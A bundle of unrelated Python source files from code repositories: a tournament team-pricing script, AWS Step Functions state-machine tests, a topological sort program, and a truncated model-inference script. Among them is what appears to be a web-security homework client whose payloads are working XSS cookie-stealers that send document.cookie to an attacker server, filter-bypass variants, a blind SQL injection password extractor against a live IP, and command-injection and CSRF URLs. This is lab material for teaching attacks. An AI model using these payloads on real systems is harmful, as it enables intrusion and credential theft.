{"seq_id": "10147056179", "text": "# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed Mar 17 20:01:45 2021\n\n@author: Jonathan Sutkowski\n\"\"\"\n# Import libraries\nfrom scripts.spreadsheet import Spreadsheet\n\n# Set parameters which govern how the win_ratio value is generated based on the seed\nAVERAGE_WIN_RATIO = 0.83\nRANGE_OF_WIN_RATIOS = 0.31\n\nclass Team:\n    # master list of all portfolios\n    TEAM_LIST = []\n\n    ## VARIOUS FUNCTIONS\n    # Create a team object for each team, and then a package object for each package\n    def generate_team_list():\n        # Read menu from input_data/menu.csv\n        menu_array = Spreadsheet.read_csv('input_data/menu.csv')\n\n        # Create list of packages\n        for i in range(1, len(menu_array)):\n            package_name = menu_array[i][3]\n            package_price = menu_array[i][4]\n\n            # break out of loop at the end of the list of packages\n            if package_name == '':\n                break\n\n            # Create a package object\n            new_package = Package()\n            new_package.name = package_name\n            new_package.team_list = []\n            new_package.price = int(package_price)\n\n        # iterate thru all but first row of menu.csv\n        for i in range(1, len(menu_array)):\n            # Create a Team object\n            new_team = Team()\n            new_team.true_seed = int(menu_array[i][0])  # obtain true_seed int\n            new_team.name = menu_array[i][1]            # obtain name string\n            new_team.price = menu_array[i][2]           # obtain price int\n\n            # check if cost is numeric.\n            if not new_team.price.isnumeric():\n                # if cost is not numeric, this team belongs to a package! Add\n                # the team to the package object's team_list instance variable\n                foundPackage = False\n                for package in Package.PACKAGE_LIST:\n                    if new_team.price == package.name:\n                        package.team_list.append(new_team)\n                        new_team.price = package\n                        foundPackage = True\n                if not foundPackage:\n                    print(\"unable to find package object for team:\", new_team.name)\n            else:\n                new_team.price = int( new_team.price )\n\n        ## Populate the win_ratio value for each team\n        # win_ratio of first seed\n        maximum_win_ratio = AVERAGE_WIN_RATIO + RANGE_OF_WIN_RATIOS / 2\n        # win ratio difference between each team\n        win_ratio_increment_value = RANGE_OF_WIN_RATIOS / (len(Team.TEAM_LIST) - 1)\n        for team in Team.TEAM_LIST:\n            # arranged in order of true seed, each team's win_ratio is spaced out across\n            # the range of win_ratios specified at the top of this script.\n            team.win_ratio = maximum_win_ratio - win_ratio_increment_value * (team.true_seed - 1)\n\n        return\n\n    def __init__(self):\n        # add instance variables\n        self.name = None\n        self.win_ratio = None\n        self.true_seed = None\n        self.price = None\n\n        # Add to TEAM_LIST\n        Team.TEAM_LIST.append(self)\n\n        return\n\n\nclass Package:\n    # master list of all portfolios\n    PACKAGE_LIST = []\n\n    ## VARIOUS FUNCTIONS\n\n    def __init__(self):\n        # add instance variables\n        self.name = None\n        self.team_list = None\n        self.price = None\n\n        # add to PACKAGE_LIST\n        Package.PACKAGE_LIST.append(self)\n\n        return\n", "repo_name": "jonsutkowski/blue_waters", "sub_path": "scripts/teams.py", "file_name": "teams.py", "file_ext": "py", "file_size_in_byte": 3435, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "scripts.spreadsheet.Spreadsheet.read_csv", "line_number": 22, "usage_type": "call"}, {"api_name": "scripts.spreadsheet.Spreadsheet", "line_number": 22, "usage_type": "name"}]}
{"seq_id": "17051643175", "text": "from selenium import webdriver\nfrom selenium.webdriver.firefox.options import Options\nfrom bs4 import BeautifulSoup\nimport base64\nimport grader\nimport argparse\n\n# NOTE: If you choose to run the servers on different ports for testing, please remember to set it back before submission.\nTARGET_SERVER_ENDPOINT = 'http://localhost:1337'\n# TARGET_SERVER_ENDPOINT = 'http://35.225.46.109:80'\n\n# NOTE: where you need to update your static IP address of your server\nATTACKER_SERVER_ENDPOINT = 'http://localhost:1338'\n\n\n# ATTACKER_SERVER_ENDPOINT = 'http://your static IP address:80'\n\ndef xss(vuln_type, level):\n    options = Options()\n    options.add_argument(\"--headless\")\n    driver = webdriver.Firefox(options=options)  # Starts the browser\n\n    # driver.get(TARGET_SERVER_ENDPOINT)  # Makes a request to the specified URL.\n\n    # DO SOMETHING\n\n    if vuln_type == '1':\n        if level == 'low':\n            comment = '%3Cscript%3Ewindow.open%28%22http%3A%2F%2F127.0.0.1%3A1338%2Fxss%2F1%3Fcookie%3D%22%20%2B%20document.cookie%29%3C%2Fscript%3E'\n        elif level == 'medium':\n            comment = '%3Cscri%3Cscript%3Ept%3Ewindow.open%28%22http%3A%2F%2F127.0.0.1%3A1338%2Fxss%2F1%3Fcookie%3D%22%20%2B%20document.cookie%29%3C%2Fscript%3E'\n        else:\n            comment = '%3Cbody%20onload%3D%27document.location%3D%22http%3A%2F%2F127.0.0.1%3A1338%2Fxss%2F1%3Fcookie%3D%22%20%2B%20document.cookie%27%3E'\n        url = '/'.join([TARGET_SERVER_ENDPOINT, 'xss', vuln_type, level]) + '?comment=' + comment\n\n    elif vuln_type == '2':\n        if level == 'low':\n            comment = '%3Cscript%3Ewindow.open%28%22http%3A%2F%2F127.0.0.1%3A1338%2Fxss%2F2%3Fcookie%3D%22%20%2B%20document.cookie%29%3C%2Fscript%3E'\n        elif level == 'medium':\n            comment = '%3Cscri%3Cscript%3Ept%3Ewindow.open(%22http%3A%2F%2F127.0.0.1%3A1338%2Fxss%2F2%3Fcookie%3D%22%20%2B%20document.cookie)%3C%2Fscri%3C%2Fscript%3Ept%3E'\n        else:\n            comment = '%3CIMG%20SRC%3D%22javascript%3Awindow.open(%26apos%3Bhttp%3A%2F%2F127.0.0.1%3A1338%2Fxss%2F2%3Fcookie%3D%26apos%3B%20%2B%20document.cookie)%3B%22%3E'\n        url = '/'.join([TARGET_SERVER_ENDPOINT, 'xss', vuln_type, level]) + '?comment=' + comment\n    else:\n        if level == 'low':\n            lang = '%3Cscript%3Ewindow.open(%22http://127.0.0.1:1338/xss/3?cookie=%22%20+%20document.cookie)%3C/script%3E'\n        elif level == 'medium':\n            lang = '%3Cbody%20onload=%27document.location=%22http://127.0.0.1:1338/xss/3?cookie=%22%20+%20document.cookie%27%3E'\n        else:\n            lang = 'en;%3Cbody%20onload=%27document.location=%22http://127.0.0.1:1338/xss/3?cookie=%22%20+%20document.cookie%27%3E'\n        url = '/'.join([TARGET_SERVER_ENDPOINT, 'xss', vuln_type, level]) + '?lang=' + lang\n\n\n    driver.get(url)\n\n    # Grader verification should be done in attacker_server/server.py\n\n    driver.quit()  # Closes the browser\n\n\ndef sql():\n    options = Options()\n    options.add_argument(\"--headless\")\n    driver = webdriver.Firefox(options=options)\n\n    # soup = BeautifulSoup(driver.page_source)  # Get the page contents and use for parsing.\n    # tr_elements = soup.find_all('tr') # Refer to the BeautifulSoup documentation for more details.\n\n    # TODO: Populate the user_pass_list\n    user_pass_list = []  # Where this should be a list of lists for containing the users and passwords\n    # eg. [['username', 'password']]\n    special_characters = ['%', '_', '#', '?']\n\n    for i in range(1, 4):\n        username = None\n        pwd = ''\n        more_char = True\n        while more_char:\n            more_char = False\n            for j in range(32, 127):\n                char = chr(j) if chr(j) not in special_characters else '[{}]'.format(chr(j))\n                pwd_n = pwd + char\n                url = 'http://35.225.46.109/sql_injection/low/id/{}%27%20and%20password%20like%20%27{}%25%27%3B--' \\\n                    .format(i, pwd_n)\n                driver.get(url)\n                soup = BeautifulSoup(driver.page_source, features='html.parser')\n                tr_elements = soup.find_all('tr')\n                if len(tr_elements) == 2:\n                    pwd = pwd_n\n                    if username is None:\n                        username = tr_elements[1].find_all('td')[1].contents[0]\n                    more_char = True\n                    break\n        user_pass_list.append({username: pwd})\n\n    grader.sql_verify('low', user_pass_list)\n\n    driver.quit()\n\n\ndef command_injection(level):\n    options = Options()\n    options.add_argument(\"--headless\")\n    driver = webdriver.Firefox(options=options)\n\n    # NOTE: Remember to decode the flag before sending it to the grader.\n    # grader.command_injection_verify(level, flag)\n    if level == 'low':\n        url = 'http://35.225.46.109/command_injection/low?ip=0.0.0.0;cd%20server/flags/command_injection;cat%20low.txt'\n    elif level == 'medium':\n        url = 'http://35.225.46.109/command_injection/medium?ip=0.0.0.0%26%3B%26cd%20server/flags/command_injection' \\\n              '%26%3B%26cat%20medium.txt '\n    else:\n        url = 'http://35.225.46.109/command_injection/high?ip=0.0.0.0%26%26cd%20server/flags/command_injection%26' \\\n              '%26cat%20high.txt '\n\n    driver.get(url)\n    element = driver.find_element_by_id('output')\n    text = element.text\n    secret = text.split('\\n')[-1]\n    flag = base64.b64decode(secret)\n    grader.command_injection_verify(level, flag)\n\n    driver.quit()\n\n\ndef csrf(level):\n    options = Options()\n    options.add_argument(\"--headless\")\n    driver = webdriver.Firefox(options=options)\n    secret_msg = 'secretmessagelol'\n    if level == 'low':\n        query = '%3Cscript%3Ewindow.open(%22http%3A%2F%2F127.0.0.1%3A1338%2Fcsrf_target%2Flow%2Fsecretmessagelol%22)%3B%3C%2Fscript%3E'\n    else:\n        query = '%3Cscript%3Ewindow.open(%22http%3A%2F%2F127.0.0.1%3A1338%2Fcsrf_target%2Fmedium%2Fsecretmessagelol%22)%3B%3C%2Fscript%3E'\n\n    url = TARGET_SERVER_ENDPOINT + '/' + 'csrf_src' + '?query=' + query\n\n    driver.get(url)\n\n    # get comments\n    url = TARGET_SERVER_ENDPOINT + '/' + 'csrf_target'\n    driver.get(url)\n    soup = BeautifulSoup(driver.page_source, features='html.parser')\n    tr_elements = soup.find_all('tr')\n    tr_elements.pop(0)\n    comments = []\n    for tr in tr_elements:\n        comments.append(tr.find_all('td')[1].contents[0])\n\n    grader.csrf_verify(level, secret_msg, comments) # where secret_msg is the expected comment in the database from your attack.\n\n    driver.quit()\n\n\nif __name__ == '__main__':\n\n    parser = argparse.ArgumentParser(description='Clients for different tasks in HW2.')\n    parser.add_argument('q', metavar='N', type=str,\n                        help='has to be one of [command_injection, sql_injection, xss, csrf]')\n    parser.add_argument('--level', type=str, default=\"all\",\n                        help='the level for each question')\n\n    args = parser.parse_args()\n\n    # NOTE: Feel free to modify the code here for your own purposes.\n    # The code below can be used as an example.\n\n    if args.q == \"command_injection\":\n        assert args.level in ['all', 'low', 'medium', 'high']\n        if args.level == \"all\":\n            levels = ['low', 'medium', 'high']\n        else:\n            levels = [args.level]\n        for level in levels:\n            command_injection(level)\n        exit()\n\n    if args.q == \"sql\":\n        assert args.level in ['all', 'low']\n        if args.level == \"all\":\n            levels = ['low']\n        else:\n            levels = [args.level]\n        for level in levels:\n            sql()\n        exit()\n\n    if args.q == \"xss\":\n        methods = {\"1\": \"reflected\", \"2\": \"stored\", \"3\": \"DOM\"}\n        for vuln_type in ['1', '2', '3']:\n            print(\"XSS with method\", methods[vuln_type])\n            if args.level == \"all\":\n                levels = ['low', 'medium', 'high']\n            else:\n                levels = [args.level]\n            for level in levels:\n                xss(vuln_type, level)\n        exit()\n\n    if args.q == \"csrf\":\n        if args.level == \"all\":\n            levels = ['low', 'medium']\n        else:\n            levels = [args.level]\n        for level in levels:\n            csrf(level)\n        exit()\n", "repo_name": "edshao11/securityhw3", "sub_path": "client.py", "file_name": "client.py", "file_ext": "py", "file_size_in_byte": 8192, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "selenium.webdriver.firefox.options.Options", "line_number": 19, "usage_type": "call"}, {"api_name": "selenium.webdriver.Firefox", "line_number": 21, "usage_type": "call"}, {"api_name": "selenium.webdriver", "line_number": 21, "usage_type": "name"}, {"api_name": "selenium.webdriver.firefox.options.Options", "line_number": 62, "usage_type": "call"}, {"api_name": "selenium.webdriver.Firefox", "line_number": 64, "usage_type": "call"}, {"api_name": "selenium.webdriver", "line_number": 64, "usage_type": "name"}, {"api_name": "bs4.BeautifulSoup", "line_number": 86, "usage_type": "call"}, {"api_name": "grader.sql_verify", "line_number": 96, "usage_type": "call"}, {"api_name": "selenium.webdriver.firefox.options.Options", "line_number": 102, "usage_type": "call"}, {"api_name": "selenium.webdriver.Firefox", "line_number": 104, "usage_type": "call"}, {"api_name": "selenium.webdriver", "line_number": 104, "usage_type": "name"}, {"api_name": "base64.b64decode", "line_number": 121, "usage_type": "call"}, {"api_name": "grader.command_injection_verify", "line_number": 122, "usage_type": "call"}, {"api_name": "selenium.webdriver.firefox.options.Options", "line_number": 128, "usage_type": "call"}, {"api_name": "selenium.webdriver.Firefox", "line_number": 130, "usage_type": "call"}, {"api_name": "selenium.webdriver", "line_number": 130, "usage_type": "name"}, {"api_name": "bs4.BeautifulSoup", "line_number": 144, "usage_type": "call"}, {"api_name": "grader.csrf_verify", "line_number": 151, "usage_type": "call"}, {"api_name": "argparse.ArgumentParser", "line_number": 158, "usage_type": "call"}]}
{"seq_id": "8397334921", "text": "\"\"\"Complex state machine definition tests.\"\"\"\nimport pytest\n\nfrom rhodes import StateMachine, choice_rules\nfrom rhodes.choice_rules import VariablePath, all_\nfrom rhodes.states import Choice, Fail, Parallel, Succeed, Task, Wait\nfrom rhodes.structures import JsonPath, Parameters\n\nfrom ..unit_test_helpers import compare_state_machine\n\npytestmark = [pytest.mark.local, pytest.mark.functional]\n\nPARSE_REQUIREMENTS_RESOURCE = \"arn:aws:lambda:us-east-1:123456789012:function:parse-requirements\"\nBUILD_PYTHON_36_RESOURCE = \"arn:aws:lambda:us-east-1:123456789012:function:build-py36\"\nBUILD_PYTHON_37_RESOURCE = \"arn:aws:lambda:us-east-1:123456789012:function:build-py37\"\nEVENT_FILTER_RESOURCE = \"arn:aws:lambda:us-east-1:123456789012:function:event-filter\"\nARTIFACT_LOCATOR_RESOURCE = \"arn:aws:lambda:us-east-1:123456789012:function:artifact-locator\"\nLAYER_VERSION_PUBLISHER_RESOURCE = \"arn:aws:lambda:us-east-1:123456789012:function:layer-version-publisher\"\nNOTIFY_TOPIC = \"arn:aws:sns:us-east-1:123456789012:accretion-notify\"\n\n\ndef test_accretion_builder():\n    test = StateMachine(\n        Comment=\"Artifact Builder\",\n        StartAt=\"ParseRequirements\",\n        States=dict(\n            ParseRequirements=Task(\"ParseRequirements\", Resource=PARSE_REQUIREMENTS_RESOURCE, Next=\"SelectLanguage\"),\n            SelectLanguage=Choice(\n                \"SelectLanguage\",\n                Choices=[choice_rules.StringEquals(Variable=\"$.Language\", Value=\"python\", Next=\"BuildPython\")],\n                Default=\"UnknownLanguage\",\n            ),\n            UnknownLanguage=Fail(\"UnknownLanguage\", Cause=\"Invalid language\"),\n            BuildPython=Parallel(\n                \"BuildPython\",\n                Branches=[\n                    StateMachine(\n                        StartAt=\"BuildPython36\",\n                        States=dict(BuildPython36=Task(\"BuildPython36\", Resource=BUILD_PYTHON_36_RESOURCE, End=True)),\n                    ),\n                    StateMachine(\n                        StartAt=\"BuildPython37\",\n                        States=dict(BuildPython37=Task(\"BuildPython37\", Resource=BUILD_PYTHON_37_RESOURCE, End=True)),\n                    ),\n                ],\n                ResultPath=\"$.BuildResults\",\n                End=True,\n            ),\n        ),\n    )\n\n    compare_state_machine(\"accretion_builder\", test)\n\n\ndef test_accretion_builder_new_1():\n    parse_requirements = Task(\"ParseRequirements\", Resource=PARSE_REQUIREMENTS_RESOURCE)\n\n    build_python = Parallel(\"BuildPython\", ResultPath=\"$.BuildResults\")\n\n    build_python_36 = build_python.add_branch()\n    build_python_36.start_with(Task(\"BuildPython36\", Resource=BUILD_PYTHON_36_RESOURCE)).end()\n\n    build_python_37 = build_python.add_branch()\n    build_python_37.start_with(Task(\"BuildPython37\", Resource=BUILD_PYTHON_37_RESOURCE)).end()\n\n    unknown_language = Fail(\"UnknownLanguage\", Cause=\"Invalid language\")\n\n    test = StateMachine(Comment=\"Artifact Builder\")\n    select_language = test.start_with(parse_requirements).then(Choice(\"SelectLanguage\"))\n\n    # TODO: Auto-add children to parent if they were added before the choice was added to parent\n    # TODO: Add Choice.elseif_() ?\n    select_language.if_(VariablePath(\"$.Language\") == \"python\").then(build_python)\n    select_language.else_(unknown_language)\n\n    build_python.end()\n\n    compare_state_machine(\"accretion_builder\", test)\n\n\ndef test_accretion_listener():\n\n    test = StateMachine(\n        Comment=\"Replication Listener\",\n        StartAt=\"Filter\",\n        States={\n            \"Filter\": Task(\"Filter\", Resource=EVENT_FILTER_RESOURCE, ResultPath=\"$\", Next=\"ShouldProcess\"),\n            \"ShouldProcess\": Choice(\n                \"ShouldProcess\",\n                Choices=[choice_rules.BooleanEquals(Variable=\"$.ProcessEvent\", Value=True, Next=\"LocateArtifact\")],\n                Default=\"IgnoreEvent\",\n            ),\n            \"IgnoreEvent\": Succeed(\"IgnoreEvent\", Comment=\"Ignore this event\"),\n            \"LocateArtifact\": Task(\n                \"LocateArtifact\", Resource=ARTIFACT_LOCATOR_RESOURCE, ResultPath=\"$.Artifact\", Next=\"ArtifactCheck\"\n            ),\n            \"ArtifactCheck\": Choice(\n                \"ArtifactCheck\",\n                Choices=[\n                    choice_rules.BooleanEquals(Variable=\"$.Artifact.Found\", Value=True, Next=\"PublishNewVersion\"),\n                    choice_rules.And(\n                        Rules=[\n                            choice_rules.BooleanEquals(Variable=\"$.Artifact.Found\", Value=False),\n                            choice_rules.NumericGreaterThan(Variable=\"$.Artifact.ReadAttempts\", Value=15),\n                        ],\n                        Next=\"ReplicationTimeout\",\n                    ),\n                ],\n                Default=\"WaitForReplication\",\n            ),\n            \"ReplicationTimeout\": Fail(\"ReplicationTimeout\", Error=\"Timed out waiting for artifact to replicate\"),\n            \"WaitForReplication\": Wait(\"WaitForReplication\", Seconds=60, Next=\"LocateArtifact\"),\n            \"PublishNewVersion\": Task(\n                \"PublishNewVersion\", Resource=LAYER_VERSION_PUBLISHER_RESOURCE, ResultPath=\"$.Layer\", Next=\"Notify\"\n            ),\n            \"Notify\": Task(\n                \"Notify\",\n                Resource=\"arn:aws:states:::sns:publish\",\n                Parameters=Parameters(**{\"TopicArn\": NOTIFY_TOPIC, \"Message.$\": \"$.Layer\"}),\n                End=True,\n            ),\n        },\n    )\n\n    compare_state_machine(\"accretion_listener\", test)\n\n\ndef test_accretion_listener_new_1():\n\n    test = StateMachine(Comment=\"Replication Listener\")\n\n    event_filter = test.start_with(Task(\"Filter\", Resource=EVENT_FILTER_RESOURCE, ResultPath=\"$\"))\n    skip_check = event_filter.then(Choice(\"ShouldProcess\"))\n    skip_check.else_(Succeed(\"IgnoreEvent\", Comment=\"Ignore this event\"))\n\n    locate_artifact = skip_check.if_(VariablePath(\"$.ProcessEvent\") == True).then(\n        Task(\"LocateArtifact\", Resource=ARTIFACT_LOCATOR_RESOURCE, ResultPath=\"$.Artifact\")\n    )\n    artifact_check = locate_artifact.then(Choice(\"ArtifactCheck\"))\n\n    publisher = artifact_check.if_(VariablePath(\"$.Artifact.Found\") == True).then(\n        Task(\"PublishNewVersion\", Resource=LAYER_VERSION_PUBLISHER_RESOURCE, ResultPath=\"$.Layer\")\n    )\n    publisher.then(\n        Task(\n            \"Notify\",\n            Resource=\"arn:aws:states:::sns:publish\",\n            Parameters=Parameters(TopicArn=NOTIFY_TOPIC, Message=JsonPath(\"$.Layer\")),\n        )\n    ).end()\n\n    artifact_check.if_(\n        all_(VariablePath(\"$.Artifact.Found\") == False, VariablePath(\"$.Artifact.ReadAttempts\") > 15)\n    ).then(Fail(\"ReplicationTimeout\", Error=\"Timed out waiting for artifact to replicate\"))\n\n    waiter = artifact_check.else_(Wait(\"WaitForReplication\", Seconds=60))\n    waiter.then(locate_artifact)\n\n    compare_state_machine(\"accretion_listener\", test)\n", "repo_name": "mattsb42/rhodes", "sub_path": "test/unit/state_machine/test_complex.py", "file_name": "test_complex.py", "file_ext": "py", "file_size_in_byte": 6840, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "81", "api": [{"api_name": "pytest.mark", "line_number": 11, "usage_type": "attribute"}, {"api_name": "rhodes.StateMachine", "line_number": 23, "usage_type": "call"}, {"api_name": "rhodes.states.Task", "line_number": 27, "usage_type": "call"}, {"api_name": "rhodes.states.Choice", "line_number": 28, "usage_type": "call"}, {"api_name": "rhodes.choice_rules.StringEquals", "line_number": 30, "usage_type": "call"}, {"api_name": "rhodes.choice_rules", "line_number": 30, "usage_type": "name"}, {"api_name": "rhodes.states.Fail", "line_number": 33, "usage_type": "call"}, {"api_name": "rhodes.states.Parallel", "line_number": 34, "usage_type": "call"}, {"api_name": "rhodes.StateMachine", "line_number": 37, "usage_type": "call"}, {"api_name": "rhodes.states.Task", "line_number": 39, "usage_type": "call"}, {"api_name": "rhodes.StateMachine", "line_number": 41, "usage_type": "call"}, {"api_name": "rhodes.states.Task", "line_number": 43, "usage_type": "call"}, {"api_name": "unit_test_helpers.compare_state_machine", "line_number": 52, "usage_type": "call"}, {"api_name": "rhodes.states.Task", "line_number": 56, "usage_type": "call"}, {"api_name": "rhodes.states.Parallel", "line_number": 58, "usage_type": "call"}, {"api_name": "rhodes.states.Task", "line_number": 61, "usage_type": "call"}, {"api_name": "rhodes.states.Task", "line_number": 64, "usage_type": "call"}, {"api_name": "rhodes.states.Fail", "line_number": 66, "usage_type": "call"}, {"api_name": "rhodes.StateMachine", "line_number": 68, "usage_type": "call"}, {"api_name": "rhodes.states.Choice", "line_number": 69, "usage_type": "call"}, {"api_name": "rhodes.choice_rules.VariablePath", "line_number": 73, "usage_type": "call"}, {"api_name": "unit_test_helpers.compare_state_machine", "line_number": 78, "usage_type": "call"}, {"api_name": "rhodes.StateMachine", "line_number": 83, "usage_type": "call"}, {"api_name": "rhodes.states.Task", "line_number": 87, "usage_type": "call"}, {"api_name": "rhodes.states.Choice", "line_number": 88, "usage_type": "call"}, {"api_name": "rhodes.choice_rules.BooleanEquals", "line_number": 90, "usage_type": "call"}, {"api_name": "rhodes.choice_rules", "line_number": 90, "usage_type": "name"}, {"api_name": "rhodes.states.Succeed", "line_number": 93, "usage_type": "call"}, {"api_name": "rhodes.states.Task", "line_number": 94, "usage_type": "call"}, {"api_name": "rhodes.states.Choice", "line_number": 97, "usage_type": "call"}, {"api_name": "rhodes.choice_rules.BooleanEquals", "line_number": 100, "usage_type": "call"}, {"api_name": "rhodes.choice_rules", "line_number": 100, "usage_type": "name"}, {"api_name": "rhodes.choice_rules.And", "line_number": 101, "usage_type": "call"}, {"api_name": "rhodes.choice_rules", "line_number": 101, "usage_type": "name"}, {"api_name": "rhodes.choice_rules.BooleanEquals", "line_number": 103, "usage_type": "call"}, {"api_name": "rhodes.choice_rules", "line_number": 103, "usage_type": "name"}, {"api_name": "rhodes.choice_rules.NumericGreaterThan", "line_number": 104, "usage_type": "call"}, {"api_name": "rhodes.choice_rules", "line_number": 104, "usage_type": "name"}, {"api_name": "rhodes.states.Fail", "line_number": 111, "usage_type": "call"}, {"api_name": "rhodes.states.Wait", "line_number": 112, "usage_type": "call"}, {"api_name": "rhodes.states.Task", "line_number": 113, "usage_type": "call"}, {"api_name": "rhodes.states.Task", "line_number": 116, "usage_type": "call"}, {"api_name": "rhodes.structures.Parameters", "line_number": 119, "usage_type": "call"}, {"api_name": "unit_test_helpers.compare_state_machine", "line_number": 125, "usage_type": "call"}, {"api_name": "rhodes.StateMachine", "line_number": 130, "usage_type": "call"}, {"api_name": "rhodes.states.Task", "line_number": 132, "usage_type": "call"}, {"api_name": "rhodes.states.Choice", "line_number": 133, "usage_type": "call"}, {"api_name": "rhodes.states.Succeed", "line_number": 134, "usage_type": "call"}, {"api_name": "rhodes.choice_rules.VariablePath", "line_number": 136, "usage_type": "call"}, {"api_name": "rhodes.states.Task", "line_number": 137, "usage_type": "call"}, {"api_name": "rhodes.states.Choice", "line_number": 139, "usage_type": "call"}, {"api_name": "rhodes.choice_rules.VariablePath", "line_number": 141, "usage_type": "call"}, {"api_name": "rhodes.states.Task", "line_number": 142, "usage_type": "call"}, {"api_name": "rhodes.states.Task", "line_number": 145, "usage_type": "call"}, {"api_name": "rhodes.structures.Parameters", "line_number": 148, "usage_type": "call"}, {"api_name": "rhodes.structures.JsonPath", "line_number": 148, "usage_type": "call"}, {"api_name": "rhodes.choice_rules.all_", "line_number": 153, "usage_type": "call"}, {"api_name": "rhodes.choice_rules.VariablePath", "line_number": 153, "usage_type": "call"}, {"api_name": "rhodes.states.Fail", "line_number": 154, "usage_type": "call"}, {"api_name": "rhodes.states.Wait", "line_number": 156, "usage_type": "call"}, {"api_name": "unit_test_helpers.compare_state_machine", "line_number": 159, "usage_type": "call"}]}
{"seq_id": "13576870566", "text": "from collections import deque             # For deque()\n\ndef topological_sort(adj_list):\n\n    indegree = [0 for i in range(len(adj_list))]   \n    \n    vertices_with_indegree_zero = deque()\n    \n    visiting_order = []\n    \n    for each_vertex in adj_list:\n    \n        for each_neighbour in each_vertex:\n        \n            indegree[each_neighbour] += 1\n            \n    count = 0\n    \n    for each_vertex in indegree:\n    \n        if each_vertex == 0:\n        \n           vertices_with_indegree_zero.append(count)\n           \n        count += 1\n           \n    while (vertices_with_indegree_zero):\n    \n        vertex = vertices_with_indegree_zero.popleft()\n        \n        visiting_order.append(vertex)\n        \n        for each_neighbour in adj_list[vertex]:\n        \n            indegree[each_neighbour] -= 1\n            \n            if indegree[each_neighbour] == 0:\n            \n                vertices_with_indegree_zero.append(each_neighbour)\n    \n    if (visiting_order):\n    \n        print(\"\\nThe visitng order is as follows:\", end=\"\\n\")\n    \n    for vertex in visiting_order:\n    \n        print(vertex, end=\" \")\n    \n    print(\"\\n\")        \n                                \n\ndef check_vertex(vertex, nov):\n    \n    while(1):\n        \n        if (vertex >= nov or vertex < 0):\n            \n            print(\"Invalid vertex: \", vertex)\n            \n            vertex = int(input(\"Re-enter the vertex: \"))\n        \n        else:\n            return vertex\n\n\ndef read_edges(nov, noe, adj_list): \n\n    print(\"Enter the edges: \")\n\n    while (noe):\n\n        vertex = list(input().split())\n        \n        source, destination = int(vertex[0]), int(vertex[1])     \n    \n        source = check_vertex(source, nov)\n        destination = check_vertex(destination, nov)\n     \n        adj_list[source].append(destination)\n    \n        noe -= 1 \n           \n    return adj_list\n\n########################################################\n\nno_of_vertices = int(input(\"Enter the no of vertices: \"))\n\nadj_list = [[] for i in range(0, no_of_vertices)]\n\nno_of_edges = int(input(\"Enter the no of edges: \"))\n\nadj_list = read_edges(no_of_vertices, no_of_edges, adj_list)\n\ntopological_sort(adj_list)    \n\n", "repo_name": "Aditya-U7/Algorithms", "sub_path": "Graph_traversal_algorithms/Topological_sort/topological_sort.py", "file_name": "topological_sort.py", "file_ext": "py", "file_size_in_byte": 2195, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "collections.deque", "line_number": 7, "usage_type": "call"}]}
{"seq_id": "38590559255", "text": "import argparse\n\nimport os\nimport tensorflow as tf\nfrom enum import IntEnum\n\nimport decomp_models\nfrom data.batcher import Batcher\nfrom data.infer_data_processer import prepare_inf_features, concat_enc_output, prepare_inf_features_stage2, \\\n    prepare_inf_features_stage3\nfrom decomp_models.beamsearch import create_inference_ops_general\nfrom utils.params import parse_infer_params\nfrom utils.train_utils import session_config, write_result_to_file\nfrom utils.vocab import decode_target_ids, decode_target_ids_copy\n\n\ndef parse_args():\n    parser = argparse.ArgumentParser(\n        description=\"Decompose using existing decomp_models\",\n        usage=\"inference.py [<args>] [-h | --help]\"\n    )\n\n    # input files\n    parser.add_argument(\"--input\", type=str, required=True,\n                        help=\"Path of input file\")\n    parser.add_argument(\"--output\", type=str, required=True,\n                        help=\"Path of output file\")\n    parser.add_argument(\"--vocab\", type=str, nargs=2, required=True,\n                        help=\"Path of source and target vocabulary\")\n    parser.add_argument(\"--models\", type=str, nargs=\"+\", required=True,\n                        help=\"Path of trained decomp_models\")\n    parser.add_argument(\"--model\", type=str, default=\"Transformer\",\n                        help=\"Model name\")\n\n    # model and configuration\n    parser.add_argument(\"--parameters\", type=str, default=\"\",\n                        help=\"Additional hyper parameters\")\n    parser.add_argument(\"--log\", action=\"store_true\",\n                        help=\"Enable log output\")\n\n    return parser.parse_args()\n\n\ndef default_parameters():\n    params = tf.contrib.training.HParams(\n        input=None,\n        output=None,\n        vocabulary=None,\n        # vocabulary specific\n        bos=\"<BOS>\",\n        eos=\"<EOS>\",\n        unk=\"<UNK>\",\n        device_list=[0],\n        num_threads=8,\n        # decoding\n        top_beams=1,\n        beam_size=8,\n        decode_alpha=0.6,\n        decode_length=50,\n        decode_batch_size=32,\n    )\n\n    return params\n\n\ndef main(args, verbose=True):\n    # log level\n    if verbose:\n        os.environ['TF_CPP_MIN_LOG_LEVEL'] = '3'\n    msg_level = tf.logging.INFO if verbose else tf.logging.ERROR\n    tf.logging.set_verbosity(msg_level)\n    # Load configs\n    model_cls = decomp_models.get_decomp_model(args.model)\n    params_list = parse_infer_params(args, default_parameters(), [model_cls])\n\n    # Build Graph\n    with tf.Graph().as_default():\n        params = params_list[0]\n        # Build input queue\n        batcher = Batcher(params, 'infer')\n\n        # Build graph\n        model = model_cls(params, args.model, mode='infer')\n\n        # define different run functions\n        def run(ops, data):\n            return sess.run(ops, model.make_infer_feed_dict(data))\n\n        def run_stage1(ops, data):\n            return sess.run(ops, model.make_stage1_infer_feed_dict(data))\n\n        def run_stage2(ops, data):\n            return sess.run(ops, model.make_stage2_infer_feed_dict(data))\n\n        # define inference operations\n        def infer_op(enc_output, batch_size, max_length):\n            return create_inference_ops_general(enc_output, model.decode_infer, batch_size, max_length, params,\n                                                model.scope, feature_prefix=\"target\")\n\n        def stage1_infer_op(enc_output, batch_size, max_length):\n            return create_inference_ops_general(enc_output, model.decode_infer_stage_1, batch_size, max_length, params,\n                                                model.scope, feature_prefix=\"sketch\")\n\n        def stage2_infer_op(enc_output, batch_size, max_length):\n            return create_inference_ops_general(enc_output, model.decode_infer_stage_2, batch_size, max_length, params,\n                                                model.scope, feature_prefix=\"second_sketch\")\n\n        def single_stage_model_inference(batch_data, params):\n            \"\"\"Inference for single model\"\"\"\n            # get output of encoder\n            encoder_output = run(model.encoder_output, batch_data)\n            # 